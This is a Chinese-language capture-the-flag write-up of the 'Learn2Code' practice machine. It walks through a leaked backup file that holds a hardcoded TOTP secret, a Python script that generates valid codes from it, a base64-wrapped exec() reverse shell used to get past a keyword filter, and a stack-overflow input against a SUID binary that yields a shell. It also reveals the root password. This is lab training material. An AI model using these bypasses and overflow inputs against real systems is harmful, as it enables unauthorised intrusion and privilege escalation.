day-1
想法
不想让自己闲下来,今天开始千靶日记
Learn2Code靶机复盘
信息搜集

只开启80端口,所以肯定是要http服务拿shell,dirsearch扫一下发现

反弹shell
todo.txt内容为******* Remember to delete the bak files!! *******(记得删除备份文件)
来/includes看下

这里主要看php,php里面有个备份文件access.php.bak

access.php内容如下
<?php
require_once 'GoogleAuthenticator.php';
$ga = new PHPGangsta_GoogleAuthenticator();
$secret = "S4I22IG3KHZIGQCJ";
if ($_POST['action'] == 'check_code') {
$code = $_POST['code'];
$result = $ga->verifyCode($secret, $code, 1);
if ($result) {
include('coder.php');
} else {
echo "wrong";
}
}
?>
有一个硬编码的密钥,根据提示这是Google Authenticator 实现的TOTP双因素认证的脚本
有了种子其实我们就足够跑出验证码了,找AI写个脚本
import time
import hmac
import hashlib
import base64
def get_totp(secret_str):
# Base32 解码密钥
secret_bytes = base64.b32decode(secret_str.upper() + '=' * (-len(secret_str) % 8))
# 当前时间戳(30秒为一个周期)
epoch = int(time.time() // 30)
# 构造计数器(8字节)
counter = epoch.to_bytes(8, 'big')
# HMAC-SHA1 哈希
h = hmac.new(secret_bytes, counter, hashlib.sha1).digest()
# HOTP 截断
offset = h[-1] & 0x0f
binary = ((h[offset] & 0x7f) << 24 |
(h[offset + 1] << 16) |
(h[offset + 2] << 8) |
h[offset + 3])
otp = binary % (10 ** 6)
return f"{otp:06d}"
# 使用你的 secret
secret = "S4I22IG3KHZIGQCJ"
print("TOTP Code:", get_totp(secret))
登录后是一个代码执行的对话款,根据报错可以发现是python

这里bp发包方便观察,发现正常反弹shell脚本会报错,应该是过滤了一些关键词

这里可以用exec函数,exec() 是python一个内置函数
用法:exec("任意合法的 Python 代码"),base64编码绕过拿到反弹shell


提权
传linpeas.sh扫描一下敏感信息

发现了陌生的SUID文件

拿到本地IDA看下

目标是通过输入覆盖一个变量 v5 的值,使其等于 0x61626364,从而触发 system("/bin/bash") 获得权限提升
这里考察的是pwn栈溢出的知识,确实不太会
问了AI,根据意思拿到payload

www-data@Learn2Code:/$ /usr/bin/MakeMeLearner AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
拿到learner权限后发现目录下有个文件MySecretPasswordVault
learner@Learn2Code:/home/learner$ ls
ls
MySecretPasswordVault user.txt
learner@Learn2Code:/home/learner$
还是到本地IDA分析

这些注释就是root密码 NOI98hOIhj)(Jj
